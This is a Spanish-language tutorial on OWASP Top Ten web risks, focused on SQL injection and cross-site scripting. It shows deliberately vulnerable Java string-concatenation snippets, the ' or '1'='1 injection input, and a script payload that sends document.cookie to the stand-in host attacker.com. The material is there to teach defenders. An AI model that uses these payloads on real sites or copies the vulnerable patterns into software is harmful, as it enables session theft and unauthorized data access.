Uno de esto subproyectos es el OWASP Top Ten Project, donde se definen y se detallan los 10 riesgos más importantes a nivel de aplicaciones web.

Esta lista se va actualizando según el paso del tiempo y la variación de las técnicas y/o vulnerabilidades explotadas para tomar el control de una aplicación web o tener por ejemplo acceso no autorizado a recursos de bajo de esta aplicación. A continuación, se presentarán las vulnerabilidades más importantes y comunes en aplicación web del proyecto OWASP Top Ten Project

Un proyecto interesante que ofrece OWASP es la aplicación open source Zed Attack Proxy Project (ZAP), que nos permite realizar un análisis de todos los datos que se envían y que recibimos a la hora de realizar una navegación de un sitio web. La herramienta se puede descargar desde el repositorio de GitHub.

• Zed Attack Proxy Project (ZAP)
• Repositorio GitHub de ZAP

La inyección de comandos es uno de los ataques más comunes en aplicaciones web en el cual, el atacante explota alguna vulnerabilidad del sistema para ejecutar comandos SQL, NoSQL o LDAP con el fin de acceder a datos de forma no autorizada.

Estas vulnerabilidades se pueden generar si no se hace una correcta validación y filtrado de los datos introducidos por el usuario, como podría ser por ejemplo en un campo de búsqueda dentro de la aplicación.

La vulnerabilidad relacionada se puede generar cuando no se hace una correcta verificación de los campos de entrada del usuario. El impacto que puede tener la inyección de comandos puede ser bastante grave ya que se podrían revelar datos confidenciales, modificar los datos almacenados o denegar acceso a ciertos recursos.

Se puede dar el caso en el cual el usuario en vez de introducir un texto para realizar una búsqueda introduce una consulta o cualquier comando SQL. Si no se hace una correcta validación y filtrado de los datos introducidos en este campo de búsqueda, se podría concatenar la consulta o comando dañino a una consulta interna SQL o cualquier otro dialecto haciendo que el intérprete ejecute la consulta introducida por el atacante.

Un posible escenario de este tipo de ataques podría ser una aplicación que concatena datos no validados en una consulta SQL:

String query = "SELECT * FROM tabla WHERE id='" + request.getParameter("id") + "'";

Como se puede ver, se concatena sin ningún tipo de verificación o filtrado del parámetro id introducido por el usuario. De manera que si un atacante introduce un comando SQL este sería ejecutado.

Un atacante podría introducir por ejemplo el parámetro id como ' or '1'='1. Esto haría que el sentido de la consulta cambie totalmente, devolviendo todos los registros de la tabla ya que la condición "1=1" siempre se cumple.

Mediante un ataque por inyección de SQL exitoso, se puede leer información sensible desde la base de datos, modificar la información (Insert/Update/Delete), ejecutar operaciones de administración sobre la base de datos (por ejemplo, parar la base de datos), recuperar el contenido de un determinado archivo presente sobre el sistema de archivos del DBMS y, en algunos casos, emitir comandos al sistema operativo. Los ataques por inyección de SQL son un tipo de ataque de inyección, en el cual los comandos SQL se insertan en la entrada de datos, con la finalidad de efectuar la ejecución de comandos SQL predefinidos.

Este tipo de vulnerabilidad es el segundo más frecuente en aplicaciones web según el OWASP Top Ten. La explotación de este tipo de vulnerabilidades pretende ejecutar comandos en el navegador de la víctima para robar sus credenciales, obtener la sesión del usuario, instalar software en el equipo de la víctima o redirigir al usuario a sitios maliciosos.

Dentro de los posibles errores de XSS, podemos distinguir dos grandes categorías:

• No permanentes: Esta categoría queda ilustrada con el caso que ahora se menciona. Nos encontramos con una página web que dispone de buscador, el cual, al introducir una palabra inventada o una cadena aleatoria de caracteres, muestra un mensaje del tipo: “No se han encontrado resultados para la búsqueda <texto>”, donde <texto> es la cadena introducida en el campo de búsqueda. Si en la búsqueda, se introduce como <texto> el código JavaScript antes indicado, y de nuevo aparece la ventana de alerta, significa que la aplicación es vulnerable a XSS. La diferencia radica en que, en esta ocasión, los efectos de la acción no resultan permanentes.
• Permanentes: Su denominación se debe al hecho de que, como mostraba el ejemplo, la ventana de alerta en JavaScript queda almacenada en algún lugar, habitualmente una base de datos SQL, y se muestra a cualquier usuario que visite nuestro perfil. Evidentemente, este tipo de fallos de XSS son mucho más peligrosos que los no permanentes.

Existen tres situaciones en las que un atacante puede conseguir un ataque exitoso con XSS:

• XSS Reflejado: En este caso, el ataque puede ser exitoso si la aplicación hace uso de datos sin validar proporcionados por un usuario y codificados como parte de HTML o JavaScript de la aplicación.
• XSS Almacenado: Este caso se puede dar cuando la aplicación almacena datos sin ser validados y filtrados y que posteriormente muestra al usuario. En este caso, el atacante puede conseguir almacenar datos maliciosos para que sean ejecutados cuando estos sean consultados por el usuario. Se considera de riesgo muy alto estas situaciones.
• XSS Basados en DOM: En aplicación que hacen usado del framework de JavaScript DOM, el atacante puede conseguir controlar los datos que se intercambian dinámicamente en la página

Con este tipo de ataques, el impacto sobre el sistema puede ser alto, ya que el atacante podría conseguir desde el robo de la sesión del usuario, hasta la invasión de la autenticación. Un posible escenario podría ser el siguiente:

La aplicación hace uso de datos no confiable permitiendo que un atacante puede incrustar su propio código:

(String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("creditcard") + "'>";

En este caso el atacante podría modificar el parámetro creditcard mediante el método GET y conseguir robar el identificar de la sesión del usuario.

<script>document.location= 'http://www.attacker.com/cgibin/cookie.cgi?foo=' +document.cookie</script>

• OWASP Cross-Site_Scripting

Se trata de un proyecto de código abierto que tiene como objetivo mostrar aquellas herramientas Python que facilitan a los desarrolladores y profesionales de la seguridad desarrollar aplicaciones más seguras antes posibles ataques.

• OWASP Python Security Project

El proyecto OWASP ha sido diseñado para explorar cómo se pueden desarrollar aplicaciones web de forma segura, al abordar el problema desde varios puntos de vista diferentes: análisis de caja blanca y de caja negra, así como análisis estructural y funcional.

https://owasp.org/www-community/Free_for_Open_Source_Application_Security_Tools

La lista de vulnerabilidades que se pueden encontrar en una aplicación web es amplia, desde Cross-Site Scripting XSS y hasta inyección SQL. El sitio web proporcionado por acunetix, ofrece algunos sitios web que contienen algunas de las vulnerabilidades mencionadas, donde cada sitio está hecho con diferentes tecnologías en el lado del backend.